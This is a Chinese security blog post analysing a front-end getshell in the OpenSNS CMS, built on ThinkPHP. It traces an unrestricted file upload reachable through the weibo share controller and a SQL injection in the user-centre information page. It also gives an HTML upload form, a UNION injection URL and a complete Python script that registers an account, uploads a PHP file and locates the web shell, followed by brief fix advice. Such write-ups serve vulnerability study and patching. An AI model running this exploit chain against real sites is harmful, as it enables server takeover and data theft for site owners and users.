OPENSNS最新版前台getshell漏洞

  • A+
所属分类:颓废's Blog
摘要

前些天表哥们去打awd,碰到这个opensns,百度了几个漏洞都没利用成功,最后终于在Google上找到了这个利用方法(http://0day5.com/archives/4280/),然而比赛也快结束了。。。。这套cms基于ThinkPHP框架开发,感觉有必要跟一跟这个漏洞。话不多说,开始!


0x01前言

前些天表哥们去打awd,碰到这个opensns,百度了几个漏洞都没利用成功,最后终于在Google上找到了这个利用方法(http://0day5.com/archives/4280/),然而比赛也快结束了。。。。这套cms基于ThinkPHP框架开发,感觉有必要跟一跟这个漏洞。话不多说,开始!

0x02漏洞分析

问题出在/Application/Weibo/Controller/ShareController.class.php中的doSendShare函数中:

public function doSendShare(){     $aContent = I('post.content','','text');     $aQuery = I('post.query','','text');     parse_str($aQuery,$feed_data);      if(empty($aContent)){          $this->error(L('_ERROR_CONTENT_CANNOT_EMPTY_'));     }     if(!is_login()){         $this->error(L('_ERROR_SHARE_PLEASE_FIRST_LOGIN_'));     }      $new_id = send_weibo($aContent, 'share',         $feed_data,$feed_data['from']);      $info =  D('Weibo/Share')->getInfo($feed_data); ...... 

可以看到$aQuery和$aContent都是通过post传递过来的,然后下面对$aQuery进行操作,结果保存在$feed_data中。

parse_str($aQuery,$feed_data); 

跟踪$feed_data变量,可以看到它进入了getInfo函数。
位置:/Application/Weibo/Model/ShareModel.class.php

public function getInfo($param) {         $info = array();         if(!empty($param['app']) && !empty($param['model']) && !empty($param['method'])){             $info = D($param['app'].'/'.$param['model'])->$param['method']($param['id']);         }          return $info; } 

这里这个D函数是ThinkPH中的一个实例化类的函数,跟一下看看:
位置:/ThinkPHP/Common/functions.php

function D($name = '', $layer = '') {     if (empty($name)) return new Think/Model;     static $_model = array();     $layer = $layer ? : C('DEFAULT_M_LAYER');     if (isset($_model[$name . $layer]))         return $_model[$name . $layer];     $class = parse_res_name($name, $layer);     if (class_exists($class)) {         $model = new $class(basename($name));     } elseif (false === strpos($name, '/')) {         // 自动加载公共模块下面的模型         if (!C('APP_USE_NAMESPACE')) {             import('Common/' . $layer . '/' . $class);         } else {             $class = '//Common//' . $layer . '//' . $name . $layer;         }         $model = class_exists($class) ? new $class($name) : new Think/Model($name);     } else {         /Think/Log::record('D方法实例化没找到模型类' . $class, Think/Log::NOTICE);         $model = new Think/Model(basename($name));     }     $_model[$name . $layer] = $model;     return $model; } 

这个函数有两个参数,但是我们只能控制第一个参数的值,也就是形参$name的值。那么可以看到如果$layer为空的话,就取C('DEFAULT_M_LAYER')的值,那么这个值是多少呢?
/ThinkPHP/Conf/convention.php中有:

'DEFAULT_M_LAYER'       =>  'Model', // 默认的模型层名称 

那么就是取默认的值,也就是Model。
那么意思就是说,我们只能实例化一个类名格式如xxxxxModel这样的类。
然后调用该类的哪一个方法也是我们可控的,就连方法的第一个参数也是我们可控的。
再回过头来看getInfo函数这一行

$info = D($param['app'].'/'.$param['model'])->$param['method']($param['id']); 

只传递了一个参数,$param['model']是要调用的模块,$param['method']是方法(只能是public),$param['id']是所调用方法的第一个参数。
这个地方要怎么利用呢?在这里膜一下大牛的思路——找一个上传类,能上传文件,不就能getshell了嘛!

/Application/Home/Model/FileModel.class.php这个文件中有一个文件上传函数,具体看一下:

 public function upload($files, $setting, $driver = 'Local', $config = null){         /* 上传文件 */         $setting['callback'] = array($this, 'isFile');         $Upload = new /Think/Upload($setting, $driver, $config);         $info   = $Upload->upload($files);          /* 设置文件保存位置 */         $this->_auto[] = array('location', 'Ftp' === $driver ? 1 : 0, self::MODEL_INSERT);          if($info){ //文件上传成功,记录文件信息             foreach ($info as $key => &$value) {                 /* 已经存在文件记录 */                 if(isset($value['id']) && is_numeric($value['id'])){                     continue;                 }                  /* 记录文件信息 */                 if($this->create($value) && ($id = $this->add())){                     $value['id'] = $id;                 } else {                     //TODO: 文件上传成功,但是记录文件信息失败,需记录日志                     unset($info[$key]);                 }             }             return $info; //文件上传成功         } else {             $this->error = $Upload->getError();             return false;         }     } 

这里调用了ThinkPHP的upload函数,继续跟踪。

$info   = $Upload->upload($files); 

位置:/ThinkPHP/Library/Think/Upload.class.php

public function upload($files = '')     {         /*省略部分代码*/         // 对上传文件数组信息处理         $files = $this->dealFiles($files);          foreach ($files as $key => $file) {             if (!isset($file['key'])) $file['key'] = $key;             /* 通过扩展获取文件类型,可解决FLASH上传$FILES数组返回文件类型错误的问题 */             if (isset($finfo)) {                 $file['type'] = finfo_file($finfo, $file['tmp_name']);             }              /* 获取上传文件后缀,允许上传无后缀文件 */             $file['ext'] = pathinfo($file['name'], PATHINFO_EXTENSION);              /* 文件上传检测 */             if (!$this->check($file)) {                 continue;             }              /* 获取文件hash */             if ($this->hash) {                 $file['md5'] = md5_file($file['tmp_name']);                 $file['sha1'] = sha1_file($file['tmp_name']);             }              /* 调用回调函数检测文件是否存在 */             $data = call_user_func($this->callback, $file);               if ($this->callback && $data) {                 $drconfig = $this->driverConfig;                 $fname = str_replace('http://' . $drconfig['domain'] . '/', '', $data['url']);                  if (file_exists('.' . $data['path'])) {                     $info[$key] = $data;                     continue;                 } elseif ($this->uploader->info($fname)) {                     $info[$key] = $data;                     continue;                 } elseif ($this->removeTrash) {                     call_user_func($this->removeTrash, $data); //删除垃圾据                 }             }              /* 生成保存文件名 */             $savename = $this->getSaveName($file);             if (false == $savename) {                 continue;             } else {                 $file['savename'] = $savename;                 //$file['name'] = $savename;             }              /* 检测并创建子目录 */             $subpath = $this->getSubPath($file['name']);             if (false === $subpath) {                 continue;             } else {                 $file['savepath'] = $this->savePath . $subpath;             }              /* 对图像文件进行严格检测 (不知道对这里严格检测的意义何在。。。)*/             $ext = strtolower($file['ext']);             if (in_array($ext, array('gif', 'jpg', 'jpeg', 'bmp', 'png', 'swf'))) {                 $imginfo = getimagesize($file['tmp_name']);                 if (empty($imginfo) || ($ext == 'gif' && empty($imginfo['bits']))) {                     $this->error = '非法图像文件!';                     continue;                 }             }              $file['rootPath'] = $this->config['rootPath'];             $name = get_addon_class($this->driver);             if (class_exists($name)) {                 $class = new $name();                 if (method_exists($class, 'uploadDealFile')) {                     $class->uploadDealFile($file);                 }             }              /* 保存文件 并记录保存成功的文件 */             if ($this->uploader->save($file, $this->replace)) {                 unset($file['error'], $file['tmp_name']);                 $info[$key] = $file;             } else {                 $this->error = $this->uploader->getError();             }         }         if (isset($finfo)) {             finfo_close($finfo);         }          return empty($info) ? false : $info;     } 

注释都写得很详细,可以看到文件上传检测调用了一个check函数,跟一下

 private function check($file)     {      /*省略*/         /* 检查文件Mime类型 */         //TODO:FLASH上传的文件获取到的mime类型都为application/octet-stream         if (!$this->checkMime($file['type'])) {             $this->error = '上传文件MIME类型不允许!';             return false;         }          /* 检查文件后缀 */         if (!$this->checkExt($file['ext'])) {             $this->error = '上传文件后缀不允许';             return false;         }          /* 通过检测 */         return true;     } 

前面的部分省略,重点看文件mime类型和文件后缀的检测

private function checkExt($ext)     {         return empty($this->config['exts']) ? true : in_array(strtolower($ext), $this->exts);     }  private function checkMime($mime)     {         return empty($this->config['mimes']) ? true : in_array(strtolower($mime), $this->mimes);     } 

可以看到这两个检测函数都是去查看$this->config中相对应的成员,如果为空直接返回true。看一下$config:

private $config = array(         'mimes' => array(), //允许上传的文件MiMe类型 (空)         'maxSize' => 0, //上传的文件大小限制 (0-不做限制)         'exts' => array(), //允许上传的文件后缀   (还是空。。)         /*......*/     ); 

这就意味着我们可以上传任意文件!现在还有几个头疼的问题就是我们不知道上传路径是什么,文件上传之后有没有被改名,现在我们回到upload函数中

/* 生成保存文件名 */ $savename = $this->getSaveName($file); if (false == $savename) {     continue; } else {     $file['savename'] = $savename;     //$file['name'] = $savename; } 

跟进getSaveName函数。

private function getSaveName($file)     {         $rule = $this->saveName;         if (empty($rule)) { //保持文件名不变             /* 解决pathinfo中文文件名BUG */             $filename = substr(pathinfo("_{$file['name']}", PATHINFO_FILENAME), 1);             $savename = $filename;         } else {             $savename = $this->getName($rule, $file['name']);             if (empty($savename)) {                 $this->error = '文件命名规则错误!';                 return false;             }         } /* 文件保存后缀,支持强制更改文件后缀(config为空直接拼接上传文件的后缀名)*/         $ext = empty($this->config['saveExt']) ? $file['ext'] : $this->saveExt;          return $savename . '.' . $ext;     } 

首先看一下saveName的值,依然是在config中:

'saveName' => array('uniqid', ''), //上传文件命名规则,[0]-函数名,[1]-参数,多个参数使用数组 

$rule不为空,上传的文件就一定会被重命名,之后$rule又进入了getName函数,继续跟

 private function getName($rule, $filename)     {         $name = '';         /*......*/         } elseif (is_string($rule)) { //字符串规则             if (function_exists($rule)) {                 $name = call_user_func($rule);             } else {                 $name = $rule;             }         }         return $name;     } 

上面config中的uniqid是php内置的函数,掏出小本本来查一查。

uniqid() 函数基于以微秒计的当前时间,生成一个唯一的 ID。

上传文件命名的流程就很清晰了,首先利用uniqid()生成一个唯一id,然后拼接后缀名,对任意文件上传是没有影响的。
先上传一波试试

<html> <body> <form action="http://127.0.0.1/opensns/index.php?s=/weibo/share/doSendShare.html" method="post" enctype="multipart/form-data"> <label for="file">Filename:</label> <input type="file" name="file_img" id="file" />  <br /> <input type="text" name="content" value="123" id="1" /> <input type="text" name="query" id="2" value="app=Home&model=File&method=upload&id="/> <input type="submit" name="submit" value="Submit" /> </form> </body> </html> 

利用这个表单上传即可,但是。。。上传完了没有回显,惊不惊喜?意不意外?
现在回到/Application/Home/Model/FileModel.class.php中的upload函数中

if($info){ //文件上传成功,记录文件信息     foreach ($info as $key => &$value) {     /* 已经存在文件记录 */       if(isset($value['id']) && is_numeric($value['id'])){         continue;     }      /* 记录文件信息 */     if($this->create($value) && ($id = $this->add())){     $value['id'] = $id;     } else {     //TODO: 文件上传成功,但是记录文件信息失败,需记录日志         unset($info[$key]);    } } return $info; //文件上传成功 

大体看了看create和add函数,都是与数据库有关的操作,也就是说我们上传文件的信息保存在数据库中了。这时候就要请出seay代码审计系统中的神器——Mysql监控了。利用上面的表单上传一个文件,在mysql监控中搜索INSERT即可找到对应的表为ocenter_file
OPENSNS最新版前台getshell漏洞

从数据库里获取数据最好的方法是什么?当然是注入了!所以大牛轻描淡写的又挖了一枚注入,再膜一波。。。。。
注入出现在Application/Ucenter/Controller/IndexController.class.php的information函数中

 public function information($uid = null)     {         //调用API获取基本信息         //TODO tox 获取省市区数据         $user = query_user(array('nickname', 'signature', 'email', 'mobile', 'rank_link', 'sex', 'pos_province', 'pos_city', 'pos_district', 'pos_community'), $uid); 

继续跟进query_user函数
位置:/Application/Common/Model/UserModel.class.php

function query_user($pFields = null, $uid = 0)     {         $user_data = array();//用户数据         $fields = $this->getFields($pFields);//需要检索的字段         $uid = (intval($uid) != 0 ? $uid : get_uid());//用户UID         //获取缓存过的字段,尽可能在此处命中全部数据          list($cacheResult, $fields) = $this->getCachedFields($fields, $uid);         $user_data = $cacheResult;//用缓存初始用户数据         //从数据库获取需要检索的数据,消耗较大,尽可能在此代码之前就命中全部数据         list($user_data, $fields) = $this->getNeedQueryData($user_data, $fields, $uid); /*......*/ 

注意看这里

$uid = (intval($uid) != 0 ? $uid : get_uid()); 

这里只是在判断的时候讲$uid intval了一下,实际并没有对$uid造成任何影响,我们构造的语句依然可以带入数据库执行。后面$uid又进入了getNeedQueryData函数,跟下去

 private function getNeedQueryData($user_data, $fields, $uid)     {         $need_query = array_intersect($this->table_fields, $fields);         //如果有需要检索的数据         if (!empty($need_query)) {             $db_prefix=C('DB_PREFIX');             $query_results = D('')->query('select ' . implode(',', $need_query) . " from `{$db_prefix}member`,`{$db_prefix}ucenter_member` where uid=id and uid={$uid} limit 1"); /*****/ 

可以看到$uid未做任何处理直接拼接语句,我们就可以通过这个注入来获取我们shell的文件名和路径了。
poc如下:

http://127.0.0.1/opensns/index.php?s=/ucenter/index/information/uid/23333%20union%20(select%201,2,concat(savepath,savename),4%20from%20ocenter_file%20where%20savename%20like%200x252e706870%20order%20by%20id%20desc%20limit%200,1)%23.html 

OPENSNS最新版前台getshell漏洞

0x03漏洞利用

两个漏洞的利用方式已经在上面的分析过程中给出了,这里放一个py的利用脚本

import requests import random import re  s = requests.Session() url = 'http://10.10.10.139/opensns/'  def getRandomName():     name = ''     for i in range(4):         name += chr(random.randint(97, 122))     return name  def register():     global s     registerUrl = url + 'index.php?s=/ucenter/member/register.html'     nickname = getRandomName()          headers = {         'Referer': registerUrl,         'Content-Type': 'application/x-www-form-urlencoded',     }     data = {         'role': '1',         'username': nickname+'@test.com',          'nickname': nickname,          'password': '123456',          'reg_type': 'email',     }     r = s.post(registerUrl, data=data, headers=headers)      return nickname  def login(username):     global s     loginUrl = url + 'index.php?s=/ucenter/member/login.html'      headers = {         'Referer': loginUrl,         'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',         #'X-Requested-With': 'XMLHttpRequest',     }     data = {         'username': username,         'password': '123456',         'remember': '0',         'from': loginUrl,     }     r = s.post(loginUrl, data=data, headers=headers)     #print(r.text)  def upload():     global s     uploadUrl = url + 'index.php?s=/weibo/share/doSendShare.html'     file = {'file_img': open('l.php', 'r')}     data = {         'content': '123',         'query': 'app=Home&model=File&method=upload&id=',     }     r = s.post(uploadUrl, data=data, files=file)     #print(r.text)  def getShell():     global s     exp = url + 'index.php?s=/ucenter/index/information/uid/23333 union (select 1,2,concat(savepath,savename),4 from ocenter_file where savename like 0x252e706870 order by id desc limit 0,1)#.html'     r = s.get(exp)     #print(r.text)     shellUrl = url + 'Uploads/' + re.findall(r'>(.*?)</attr>', r.text)[0]      r = s.get(shellUrl)     return shellUrl if r.status_code == 200 else False  def main():     username = register()     login(username)     upload()     shell = getShell()     if shell:         print('[*] Getshell! Url is ' + shell)     else:         print('[-] Something Wrong...')  if __name__ == '__main__':     main() 

0x04漏洞修复

  • 上传:在/ThinkPHP/Library/Think/Upload.class.php的config变量中设置允许上传的文件mime和文件后缀名。
  • 注入:在Application/Ucenter/Controller/IndexController.class.php的information函数中先对$uid进行intval处理,在进行后续操作。
  • 原文访问

    发表评论

    :?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: